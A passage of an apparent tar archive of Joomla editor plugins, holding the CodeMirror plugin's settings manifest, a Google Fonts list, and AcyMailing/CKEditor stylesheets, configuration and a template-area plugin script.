		<filename>fonts.php</filename>
	</files>

	<languages>
		<language tag="en-GB">en-GB.plg_editors_codemirror.ini</language>
		<language tag="en-GB">en-GB.plg_editors_codemirror.sys.ini</language>
	</languages>

	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="lineNumbers"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_LINENUMBERS_LABEL"
					description="PLG_CODEMIRROR_FIELD_LINENUMBERS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="codeFolding"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_CODEFOLDING_LABEL"
					description="PLG_CODEMIRROR_FIELD_CODEFOLDING_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="markerGutter"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_MARKERGUTTER_LABEL"
					description="PLG_CODEMIRROR_FIELD_MARKERGUTTER_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="lineWrapping"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_LINEWRAPPING_LABEL"
					description="PLG_CODEMIRROR_FIELD_LINEWRAPPING_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="activeLine"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_ACTIVELINE_LABEL"
					description="PLG_CODEMIRROR_FIELD_ACTIVELINE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="selectionMatches"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_SELECTIONMATCHES_LABEL"
					description="PLG_CODEMIRROR_FIELD_SELECTIONMATCHES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="matchTags"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_MATCHTAGS_LABEL"
					description="PLG_CODEMIRROR_FIELD_MATCHTAGS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="matchBrackets"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_MATCHBRACKETS_LABEL"
					description="PLG_CODEMIRROR_FIELD_MATCHBRACKETS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="autoCloseTags"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_AUTOCLOSETAGS_LABEL"
					description="PLG_CODEMIRROR_FIELD_AUTOCLOSETAGS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="autoCloseBrackets"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_AUTOCLOSEBRACKET_LABEL"
					description="PLG_CODEMIRROR_FIELD_AUTOCLOSEBRACKET_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="keyMap"
					type="list"
					label="PLG_CODEMIRROR_FIELD_KEYMAP_LABEL"
					description="PLG_CODEMIRROR_FIELD_KEYMAP_DESC"
					default=""
					>
					<option value="">JDEFAULT</option>
					<option value="emacs">PLG_CODEMIRROR_FIELD_KEYMAP_EMACS</option>
					<option value="sublime">PLG_CODEMIRROR_FIELD_KEYMAP_SUBLIME</option>
					<option value="vim">PLG_CODEMIRROR_FIELD_KEYMAP_VIM</option>
				</field>

				<field
					name="fullScreen"
					type="list"
					label="PLG_CODEMIRROR_FIELD_FULLSCREEN_LABEL"
					description="PLG_CODEMIRROR_FIELD_FULLSCREEN_DESC"
					default="F10"
					>
					<option value="F1">F1</option>
					<option value="F2">F2</option>
					<option value="F3">F3</option>
					<option value="F4">F4</option>
					<option value="F5">F5</option>
					<option value="F6">F6</option>
					<option value="F7">F7</option>
					<option value="F8">F8</option>
					<option value="F9">F9</option>
					<option value="F10">F10</option>
					<option value="F11">F11</option>
					<option value="F12">F12</option>
				</field>

				<field
					name="fullScreenMod"
					type="checkboxes"
					label="PLG_CODEMIRROR_FIELD_FULLSCREEN_MOD_LABEL"
					description="PLG_CODEMIRROR_FIELD_FULLSCREEN_MOD_DESC"
					>
					<option value="Shift">PLG_CODEMIRROR_FIELD_VALUE_FULLSCREEN_MOD_SHIFT</option>
					<option value="Cmd">PLG_CODEMIRROR_FIELD_VALUE_FULLSCREEN_MOD_CMD</option>
					<option value="Ctrl">PLG_CODEMIRROR_FIELD_VALUE_FULLSCREEN_MOD_CTRL</option>
					<option value="Alt">PLG_CODEMIRROR_FIELD_VALUE_FULLSCREEN_MOD_ALT</option>
				</field>

				<field
					name="basePath"
					type="hidden"
					default="media/editors/codemirror/"
				/>

				<field
					name="modePath"
					type="hidden"
					default="media/editors/codemirror/mode/%N/%N"
				/>
			</fieldset>

			<fieldset name="appearance" label="PLG_CODEMIRROR_FIELDSET_APPEARANCE_OPTIONS_LABEL" addfieldpath="plugins/editors/codemirror">
				<field
					name="theme"
					type="filelist"
					label="PLG_CODEMIRROR_FIELD_THEME_LABEL"
					description="PLG_CODEMIRROR_FIELD_THEME_DESC"
					default=""
					filter="\.css$"
					stripext="true"
					hide_none="true"
					hide_default="false"
					directory="media/editors/codemirror/theme"
				/>

				<field
					name="activeLineColor"
					type="color"
					label="PLG_CODEMIRROR_FIELD_ACTIVELINE_COLOR_LABEL"
					description="PLG_CODEMIRROR_FIELD_ACTIVELINE_COLOR_DESC"
					default="#a4c2eb"
					filter="color"
				/>

				<field
					name="highlightMatchColor"
					type="color"
					label="PLG_CODEMIRROR_FIELD_HIGHLIGHT_MATCH_COLOR_LABEL"
					description="PLG_CODEMIRROR_FIELD_HIGHLIGHT_MATCH_COLOR_DESC"
					default="#fa542f"
					filter="color"
				/>

				<field
					name="fontFamily"
					type="fonts"
					label="PLG_CODEMIRROR_FIELD_FONT_FAMILY_LABEL"
					description="PLG_CODEMIRROR_FIELD_FONT_FAMILY_DESC"
					default="0"
					>
					<option value="0">PLG_CODEMIRROR_FIELD_VALUE_FONT_FAMILY_DEFAULT</option>
				</field>

				<field
					name="fontSize"
					type="integer"
					label="PLG_CODEMIRROR_FIELD_FONT_SIZE_LABEL"
					description="PLG_CODEMIRROR_FIELD_FONT_SIZE_DESC"
					first="6"
					last="16"
					step="1"
					default="13"
					filter="integer"
				/>

				<field
					name="lineHeight"
					type="list"
					label="PLG_CODEMIRROR_FIELD_LINE_HEIGHT_LABEL"
					description="PLG_CODEMIRROR_FIELD_LINE_HEIGHT_DESC"
					default="1.2"
					filter="float"
					>
					<option value="1">1</option>
					<option value="1.1">1.1</option>
					<option value="1.2">1.2</option>
					<option value="1.3">1.3</option>
					<option value="1.4">1.4</option>
					<option value="1.5">1.5</option>
					<option value="1.6">1.6</option>
					<option value="1.7">1.7</option>
					<option value="1.8">1.8</option>
					<option value="1.9">1.9</option>
					<option value="2">2</option>
				</field>

				<field
					name="scrollbarStyle"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_LABEL"
					description="PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_DESC"
					class="btn-group btn-group-yesno"
					default="native"
					>
					<option value="native">PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_DEFAULT</option>
					<option value="simple">PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_SIMPLE</option>
					<option value="overlay">PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_OVERLAY</option>
				</field>

				<field
					name="preview"
					type="editor"
					label="PLG_CODEMIRROR_FIELD_PREVIEW_LABEL"
					description="PLG_CODEMIRROR_FIELD_PREVIEW_DESC"
					editor="codemirror"
					filter="unset"
					buttons="false"
					>
					<default>
<![CDATA[
<script type="text/javascript">
	jQuery(function ($) {
		$('.hello').html('Hello World');
	});
</script>

<style type="text/css">
	h1 {
		background-clip: border-box;
		background-color: #cacaff;
		background-image: linear-gradient(45deg, transparent 0px, transparent 30px, #ababff 30px, #ababff 60px, transparent 60px);
		background-repeat: repeat-x;
		background-size: 90px 100%;
		border: 1px solid #8989ff;
		border-radius: 10px;
		color: #333;
		padding: 0 15px;
	}
</style>

<div>
	<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam a ornare lectus, quis semper urna. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Vivamus interdum metus id elit rutrum sollicitudin. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Aliquam in fermentum risus, id facilisis nulla. Phasellus gravida erat sed ullamcorper accumsan. Donec blandit sem eget sem congue, a varius sapien semper.</p>
	<p>Integer euismod tempor convallis. Nullam porttitor et ex ac fringilla. Quisque facilisis est ac erat condimentum malesuada. Aenean commodo quam odio, tincidunt ultricies mauris suscipit et.</p>

	<ul>
		<li>Vivamus ultrices ligula a odio lacinia pellentesque.</li>
		<li>Curabitur iaculis arcu pharetra, mollis turpis id, commodo erat.</li>
		<li>Etiam consequat enim quis faucibus interdum.</li>
		<li>Morbi in ipsum pulvinar, eleifend lorem sit amet, euismod magna.</li>
		<li>Donec consectetur lacus vitae eros euismod porta.</li>
	</ul>
</div>
]]>
					</default>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
                                                                    editors/codemirror/index.html                                                                       0000705                 00000000037 15242051521 0012352 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 editors/codemirror/fonts.json                                                                       0000705                 00000006055 15242051521 0012407 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       {
	"anonymous_pro": {
		"name": "Anonymous Pro",
		"url": "https://fonts.googleapis.com/css?family=Anonymous+Pro",
		"css": "'Anonymous Pro', monospace"
	},
	"cousine": {
		"name": "Cousine",
		"url": "https://fonts.googleapis.com/css?family=Cousine",
		"css": "Cousine, monospace"
	},
	"cutive_mono": {
		"name": "Cutive Mono",
		"url": "https://fonts.googleapis.com/css?family=Cutive+Mono",
		"css": "'Cutive Mono', monospace"
	},
	"droid_sans_mono": {
		"name": "Droid Sans Mono",
		"url": "https://fonts.googleapis.com/css?family=Droid+Sans+Mono",
		"css": "'Droid Sans Mono', monospace"
	},
	"fira_mono": {
		"name": "Fira Mono",
		"url": "https://fonts.googleapis.com/css?family=Fira+Mono",
		"css": "'Fira Mono', monospace"
	},
	"ibm_plex_mono": {
		"name": "IBM Plex Mono",
		"url": "https://fonts.googleapis.com/css?family=IBM+Plex+Mono",
		"css": "'IBM Plex Mono', monospace;"
	},
	"inconsolata": {
		"name": "Inconsolata",
		"url": "https://fonts.googleapis.com/css?family=Inconsolata",
		"css": "Inconsolata, monospace"
	},
	"lekton": {
		"name": "Lekton",
		"url": "https://fonts.googleapis.com/css?family=Lekton",
		"css": "Lekton, monospace"
	},
	"nanum_gothic_coding": {
		"name": "Nanum Gothic Coding",
		"url": "https://fonts.googleapis.com/css?family=Nanum+Gothic+Coding",
		"css": "'Nanum Gothic Coding', monospace"
	},
	"nova_mono": {
		"name": "Nova Mono",
		"url": "https://fonts.googleapis.com/css?family=Nova+Mono",
		"css": "'Nova Mono', monospace"
	},
	"overpass_mono": {
		"name": "Overpass Mono",
		"url": "https://fonts.googleapis.com/css?family=Overpass+Mono",
		"css": "'Overpass Mono', monospace"
	},
	"oxygen_mono": {
		"name": "Oxygen Mono",
		"url": "https://fonts.googleapis.com/css?family=Oxygen+Mono",
		"css": "'Oxygen Mono', monospace"
	},
	"press_start_2p": {
		"name": "Press Start 2P",
		"url": "https://fonts.googleapis.com/css?family=Press+Start+2P",
		"css": "'Press Start 2P', monospace"
	},
	"pt_mono": {
		"name": "PT Mono",
		"url": "https://fonts.googleapis.com/css?family=PT+Mono",
		"css": "'PT Mono', monospace"
	},
	"roboto_mono": {
		"name": "Roboto Mono",
		"url": "https://fonts.googleapis.com/css?family=Roboto+Mono",
		"css": "'Roboto Mono', monospace"
	},
	"rubik_mono_one": {
		"name": "Rubik Mono One",
		"url": "https://fonts.googleapis.com/css?family=Rubik+Mono+One",
		"css": "'Rubik Mono One', monospace"
	},
	"share_tech_mono": {
		"name": "Share Tech Mono",
		"url": "https://fonts.googleapis.com/css?family=Share+Tech+Mono",
		"css": "'Share Tech Mono', monospace"
	},
	"source_code_pro": {
		"name": "Source Code Pro",
		"url": "https://fonts.googleapis.com/css?family=Source+Code+Pro",
		"css": "'Source Code Pro', monospace"
	},
	"space_mono": {
		"name": "Space Mono",
		"url": "https://fonts.googleapis.com/css?family=Space+Mono",
		"css": "'Space Mono', monospace"
	},
	"ubuntu_mono": {
		"name": "Ubuntu Mono",
		"url": "https://fonts.googleapis.com/css?family=Ubuntu+Mono",
		"css": "'Ubuntu Mono', monospace"
	},
	"vt323": {
		"name": "VT323",
		"url": "https://fonts.googleapis.com/css?family=VT323",
		"css": "'VT323', monospace"
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   editors/acyeditor/index.html                                                                        0000705                 00000000054 15242051521 0012167 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/css/index.html                                                          0000705                 00000000054 15242051521 0014742 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/css/acyeditor.css                                                       0000705                 00000013651 15242051521 0015451 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       .acyeditor_text, .acyeditor_picture{
	cursor: pointer;
}

tr.acyeditor_delete td.acyeditor_text:hover, tr.acyeditor_delete td.acyeditor_picture:hover{
	outline: 2px dotted #cbcf46;
}

.acyeditor_zoneeditionsuppression:hover{
	outline: 3px double #5290db;
}

.acyeditor_zoneeditionsuppression{
	display: none;
	top: 0px;
	left: 0px;
}

.acyeditor_zoneeditdelete{
	cursor: pointer;
	width: 100px;
	height: 26px;
	right: 0px;
}

.acyeditor_editdelete{
	cursor: pointer;
	background-image: url(../images/editor_zone_delete.png);
	width: 24px;
	height: 24px;
	float: right;
}

.acyeditor_edittext{
	cursor: pointer;
	background-image: url(../images/editor_zone_text.png);
	width: 24px;
	height: 24px;
}

.acyeditor_editpicture{
	cursor: pointer;
	background-image: url(../images/editor_zone_picture.png);
	width: 24px;
	height: 24px;
}

.acyeditor_btnplus{
	cursor: pointer;
	background-image: url(../images/editor_zone_plus.png);
	width: 24px;
	height: 24px;
	right: 24px;
	float: right;
}

.acyeditor_btnmore{
	cursor: pointer;
	background-image: url(../images/param.png);
	width: 24px;
	height: 24px;
	right: 24px;
	float: right;
}

.acyeditor_btnmove{
	cursor: move;
	background-image: url(../images/editor_zone_drag.png);
	width: 24px;
	height: 24px;
	right: 48px;
	float: right;
}

#legendBground{
	width: 70px;
	margin: 5px;
	float: left;
	font-size: 11px;
	color: black;
	line-height: normal;
	font-family: Verdana, Arial, Helvetica, sans-serif;
}

#colorSelector{
	cursor: pointer;
	width: 15px;
	height: 15px;
	float: right;
	margin: 5px;
}

#colorSelectorInput{
	width: 70px;
	height: 100%;
	border: none;
	padding: 5px;
}

#colorSelectorContainer{
	margin: 4px;
	display: inline-block;
	background-color: #cacaca;
	height: 25px;
	border: solid 1px #B0B0B0;
	border-radius: 2px;
}

tr.acyeditor_delete:hover td.acyeditor_enedition .acyeditor_zoneeditionsuppression{
	display: none;
}

.acyeditor_delete:not(.acyeditor_enedition):hover .acyeditor_zoneeditionsuppression, .acyeditor_text:not(.acyeditor_enedition):hover .acyeditor_zoneeditionsuppression, .acyeditor_picture:not(.acyeditor_enedition):hover .acyeditor_zoneeditionsuppression{
	display: block;
}

.acyeditor_zoneeditionsuppressionhover{
	display: block;
}

.acyeditor_copyButton{
	cursor: pointer;
	width: 100px;
	height: 60px;
	z-index: 998;
}

.acyeditor_copyButtonAfter{
	background-image: url(../images/duplicate_after.png);
	background-size: 100px 60px;
	background-repeat: no-repeat;
	float: right;
	z-index: 999;
}

.acyeditor_action{
	z-index: 998;
	cursor: pointer;
	height: 35px;
	display: inline-block;
	background-color: white;
	border: 1px solid #CCCCCC;
	width: auto;
}

.acyeditor_closebutton{
	cursor: pointer;
	width: 16px;
	height: 16px;
	background-image: url(../images/close_icon.png);
	background-size: 16px 16px;
	position: relative;
	float: right;
	z-index: 999;
}

.acyeditor_mask{
	z-index: 997;
	top: 0px;
	left: 0px;
}

.placeholder{
	outline: 2px dashed #444;
	height: 60px;
	width: auto;
	-moz-box-shadow: 0px 0px 4px 2px #ffffff;
	-webkit-box-shadow: 0px 0px 4px 2px #ffffff;
	-o-box-shadow: 0px 0px 4px 2px #ffffff;
	box-shadow: 0px 0px 4px 2px #ffffff;
	filter: progid:DXImageTransform.Microsoft.Shadow(color=#ffffff, Direction=NaN, Strength=4);
}

tr.ui-sortable-helper .acyeditor_zoneeditionsuppression{
	display: none !important;
}

tr.ui-sortable-helper{
	opacity: 0.8;
	outline: 1px solid #5290db;
	box-shadow: 1px 1px 6px #999;
}

.placeholder:after{
	content: url(../images/arrow2.png);
	position: relative;
	left: 10px;
	top: 20px;
	display: block;
	width: 0px;
}

.placeholder:before{
	content: url(../images/arrow1.png);
	position: relative;
	right: 40px;
	top: 20px;
	display: block;
	width: 0px;
}

.cke_source{
	white-space: pre-wrap !important;
}

/* Popup: delete area confirmation */
.confirmCancel{
	color: #6190b9;
	padding: 10px 15px 10px 25px;
	font-weight: bold;
	font-size: 13px;
	text-transform: uppercase;
	border: 1px solid #93b7d6;
	border-bottom: 2px solid #93b7d6;
	border-radius: 5px;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	margin: 15px 5px 0px 50px;
	cursor: pointer;
	background: #fff url(../images/popup_cancel.png) no-repeat 10% 50%;
	width: 100px;
	float: left;
}

.confirmCancel:hover{
	border: 1px solid #8baac7;
	border-bottom: 2px solid #678fb6;
	background: #adc7e0 url(../images/popup_cancel_hover.png) no-repeat 10% 50%;
	color: #fff;
	text-shadow: 1px 1px 2px #5a89b7;
	-moz-text-shadow: 1px 1px 2px #5a89b7;
	-webkit-text-shadow: 1px 1px 2px #5a89b7;
}

.confirmOk{
	color: #dc5d55;
	padding: 10px 25px 10px 15px;
	font-weight: bold;
	font-size: 13px;
	text-transform: uppercase;
	border: 1px solid #eeb6b3;
	border-bottom: 2px solid #eeb6b3;
	border-radius: 5px;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	margin: 15px 50px 0px 5px;
	cursor: pointer;
	background: #fff url(../images/popup_delete.png) no-repeat 90% 45%;
	width: 100px;
	float: right;
}

.confirmOk:hover{
	border: 1px solid #d4615b;
	border-bottom: 2px solid #b13e38;
	background: #eb837d url(../images/popup_delete_hover.png) no-repeat 90% 45%;
	color: #fff;
	text-shadow: 1px 1px 2px #c54e48;
	-moz-text-shadow: 1px 1px 2px #c54e48;
	-webkit-text-shadow: 1px 1px 2px #c54e48;
}

#confirmBox{
	width: 370px;
	height: 100px;
	background: rgba(255, 255, 255, 0.8);
	border: 1px solid #d6d6d6;
	padding: 5px;
	border-radius: 5px;
	box-shadow: 1px 1px 5px #dddddd;
	-moz-box-shadow: 1px 1px 5px #dddddd;
	-webkit-box-shadow: 1px 1px 5px #dddddd;
	position: absolute;
	z-index: 999;
}

#acy_popup_content{
	background-color: #fff;
	padding: 20px;
	text-align: center;
	color: #706f6f;
	height: 60px;
}

div[name="emojipopup"] .cke_dialog_ui_vbox_child div.cke_dialog_ui_html{
	height: 250px;
	overflow-y: auto;
	overflow-x: hidden;
}                                                                                       editors/acyeditor/acyeditor/css/acyeditor_template.css                                              0000705                 00000001403 15242051521 0017334 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       .acyeditor_delete {
	outline: 1px dashed #ab2e39;
}

.acyeditor_text{
	background:url(../images/edit_text.png) no-repeat top right;
	outline: 2px dotted #cbcf46;
}

.acyeditor_picture{
	background:url(../images/edit_picture.png) no-repeat top right;
	outline: 2px dotted #cbcf46;
}

.acyeditor_delete.acyeditor_text, .acyeditor_delete.acyeditor_picture {
	border: 1px dashed #ab2e39;
}

.acyeditor_picture img{
	/* Firefox Chrome */
	opacity:0.5;
	/* Netscape */
	-moz-opacity: 0.5;
	/* Safari 1.x */
	-khtml-opacity: 0.5;
	/* Good browsers */
	opacity: 0.5;
	/* IE 8 */
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=50)";
	/* IE 5-7 */
	filter: alpha(opacity=50);
}

.acyeditor_sortable{
	outline: 3px double #5290db;
}                                                                                                                                                                                                                                                             editors/acyeditor/acyeditor/ckeditor/config.js                                                      0000705                 00000003535 15242051521 0015573 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @license Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 * For licensing, see LICENSE.md or http://ckeditor.com/license
 */

CKEDITOR.editorConfig = function( config ) {
	// Define changes to default configuration here.
	// For complete reference see:
	// http://docs.ckeditor.com/#!/api/CKEDITOR.config

	// The toolbar groups arrangement, optimized for two toolbar rows.
	config.toolbarGroups = [
		{ name: 'clipboard',   groups: [ 'clipboard', 'undo' ] },
		{ name: 'editing',     groups: [ 'find', 'selection', 'spellchecker' ] },
		{ name: 'links' },
		{ name: 'insert' },
		{ name: 'forms' },
		{ name: 'tools' },
		{ name: 'document',	   groups: [ 'mode', 'document', 'doctools' ] },
		{ name: 'others' },
		'/',
		{ name: 'basicstyles', groups: [ 'basicstyles', 'cleanup' ] },
		{ name: 'paragraph',   groups: [ 'list', 'indent', 'blocks', 'align', 'bidi' ] },
		{ name: 'styles' },
		{ name: 'colors' },
		{ name: 'about' }
	];

	// Remove some buttons provided by the standard plugins, which are
	// not needed in the Standard(s) toolbar.
	config.removeButtons = 'Underline,Subscript,Superscript';

	// Set the most common block elements.
	//config.format_tags = 'p;h1;h2;h3;pre';

	// Simplify the dialog windows.
	config.removeDialogTabs = 'image:advanced;link:advanced';

	//-----------------------//
	// Changes by AcyMailing from previous version
	config.startupFocus = false;
	config.fillEmptyBlocks = false;
	config.filebrowserBrowseUrl = '';
	config.filebrowserImageBrowseUrl = '';
	config.filebrowserFlashBrowseUrl = '';
	config.filebrowserUploadUrl = '';
	config.filebrowserImageUploadUrl = '';
	config.filebrowserFlashUploadUrl = '';
	config.allowedContent = true;
	config.disableNativeSpellChecker = false;
	// Acyba: Added to prevent default styles in style dropdown
	config.stylesSet = [];
	config.entities_greek = false;
};
                                                                                                                                                                   editors/acyeditor/acyeditor/ckeditor/plugins/dialog/index.html                                      0000705                 00000000054 15242051521 0020676 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/dialog/dialogDefinition.js                             0000705                 00000000224 15242051521 0022506 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
 Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or http://ckeditor.com/license
*/
                                                                                                                                                                                                                                                                                                                                                                            editors/acyeditor/acyeditor/ckeditor/plugins/templatemode/plugin.js                                 0000705                 00000015022 15242051521 0021757 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       (function() {
	var a= {
		exec:function(editor){
			SetClass("acyeditor_text", editor);
		}
	};
	var b= {
		exec:function(editor){
			SetClass("acyeditor_picture", editor);
		}
	};
	var c= {
		exec:function(editor){
			SetClass("acyeditor_delete", editor);
		}
	};
	var g= {
		canUndo: false,
		exec:function(editor){
			if (parent.AddRemoveTemplateCss)
			{
				AddRemoveTemplateCss();
			}
		}
	};
	var i={
		exec:function(editor){
			initAreas();
		}
	};
	var k={
		exec:function(editor){
			SetSortable(editor);
		}
	};
	var d='setText';
	var e='setPicture';
	var f='setDelete';
	var h='showAreas';
	var j='initAreas';
	var l='setSortable';

	CKEDITOR.plugins.add("templatemode",{
		init:function(editor){
			editor.addCommand(d,a);
			editor.addCommand(e,b);
			editor.addCommand(f,c);
			editor.addCommand(h,g);
			editor.addCommand(j,i);
			editor.addCommand(l,k);
			editor.ui.addButton("textarea",{label: parent.tooltipTemplateText,
											icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-edittext.png",
											command:d,
											className: "boutontemplate_text",
											toolbar: "templatemode"});
			editor.ui.addButton("picturearea",{label: parent.tooltipTemplatePicture,
											 icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-editpicture.png",
											 command:e,
											 className: "boutontemplate_picture",
											toolbar: "templatemode"});
			editor.ui.addButton("deletearea",{label: parent.tooltipTemplateDelete,
											icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-delete.png",
											command:f,
											className: "boutontemplate_delete",
											toolbar: "templatemode"});
			editor.ui.addButton("sortablearea",{label: parent.tooltipTemplateSortable,
												icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-sortable.png",
												command: l,
												className: "boutontemplate_sortable",
												toolbar: "templatemode"});
			editor.ui.addButton("showarea",{label: parent.tooltipShowAreas,
											icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-show.png",
											command:h,
											className: "boutontemplate_show",
											toolbar: "templatemode"});
			editor.ui.addButton("initareas",{label:parent.tooltipInitAreas,
												icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-initareas.png",
												command: j,
												className:"boutontemplate_initareas",
												toolbar: "templatemode"});

			editor.on( 'selectionChange', function() {
				SetAnchorNodeIE()
				if (parent.SetStateForSelection)
				{
					// refresh the buttons states
					parent.SetStateForSelection();
				}
			});
		}
	});

	// Remove all areas (classes) from the template
	function initAreas(){
		var removeConfirm = confirm(parent.confirmInitAreas);
		if(removeConfirm){
			var acyframe =  jQuery('#edition_en_cours')[0].parentElement.getElementsByTagName("iframe")[0];
			var zoneGlob = acyframe.contentWindow.document.body.getElementsByTagName('*');
			jQuery(zoneGlob).find('.acyeditor_text').removeClass('acyeditor_text');
			jQuery(zoneGlob).find('.acyeditor_picture').removeClass('acyeditor_picture');
			jQuery(zoneGlob).find('.acyeditor_delete').removeClass('acyeditor_delete');
			jQuery(zoneGlob).find('.acyeditor_sortable').removeClass('acyeditor_sortable');
		}
		parent.SetTitleTemplate();
	}

	function SetClass(classe, editor){

		var acyframe =  jQuery('#edition_en_cours')[0].parentElement.getElementsByTagName("iframe")[0];

		var node = null;
		if (parent.isBrowserIE())
		{
			if (parent.anchorNodeIE == undefined)
			{
				SetAnchorNodeIE();
			}
			node = parent.GetParentForClass(parent.anchorNodeIE, classe);
		}
		else if (acyframe != null
				&& acyframe != undefined
				&& acyframe.contentWindow != null
				&& acyframe.contentWindow != undefined
				&& acyframe.contentWindow.getSelection)
		{
			// MOZILLA/NETSCAPE
			var sel = acyframe.contentWindow.getSelection();
			if (sel.anchorNode) {
				node = parent.GetParentForClass(sel.anchorNode, classe);
			}
		}
		SetClassNode(classe, editor, node);

		parent.SetStateForSelection();
	}

	function SetClassNode(classe, editor, node){
		if (node != null && node != undefined)
		{
			if (node.className != null && node.className != undefined && node.className.indexOf(classe) < 0)
			{
				if (classe == "acyeditor_text")
				{
					jQuery(node).removeClass("acyeditor_picture");
				}
				else if (classe == "acyeditor_picture")
				{
					jQuery(node).removeClass("acyeditor_text");
				}
				jQuery(node).addClass(classe);
			}
			else
			{
				jQuery(node).removeClass(classe);
			}
			parent.SetTitleTemplate();
		}
	}

	function SetAnchorNodeIE()
	{
		if (parent.isBrowserIE())
		{
			var acyframe =  jQuery('#edition_en_cours')[0].parentElement.getElementsByTagName("iframe")[0];
			parent.anchorNodeIE = undefined;
			if (acyframe != null
			 && acyframe != undefined
			 && acyframe.contentWindow.document != null
			 && acyframe.contentWindow.document != undefined
			 && acyframe.contentWindow.document.selection)
			{
				if (acyframe.contentWindow.document.selection.createRange().parentElement)
				{
					parent.anchorNodeIE = acyframe.contentWindow.document.selection.createRange().parentElement();
				}
				else if (acyframe.contentWindow.document.selection.createRange().item)
				{
					parent.anchorNodeIE = acyframe.contentWindow.document.selection.createRange().item(0);
				}
			}
		}
	}

	function SetSortable(editor){
		var acyframe =  jQuery('#edition_en_cours')[0].parentElement.getElementsByTagName("iframe")[0];
		var node = null;
		if (parent.isBrowserIE()){
			if (parent.anchorNodeIE == undefined){
				SetAnchorNodeIE();
			}
			node = parent.anchorNodeIE;
		}
		else if (acyframe != null
				&& acyframe != undefined
				&& acyframe.contentWindow != null
				&& acyframe.contentWindow != undefined
				&& acyframe.contentWindow.getSelection){
			// MOZILLA/NETSCAPE
			var sel = acyframe.contentWindow.getSelection();
			if (sel.anchorNode){
				node = sel.anchorNode;
			}
		}
		var tableSortable = jQuery(node).closest('tbody');
		if(tableSortable.hasClass('acyeditor_sortable')){
			tableSortable.removeClass('acyeditor_sortable');
		} else{
			tableSortable.addClass('acyeditor_sortable');
		}
		parent.SetStateForSelection();
	}
})();
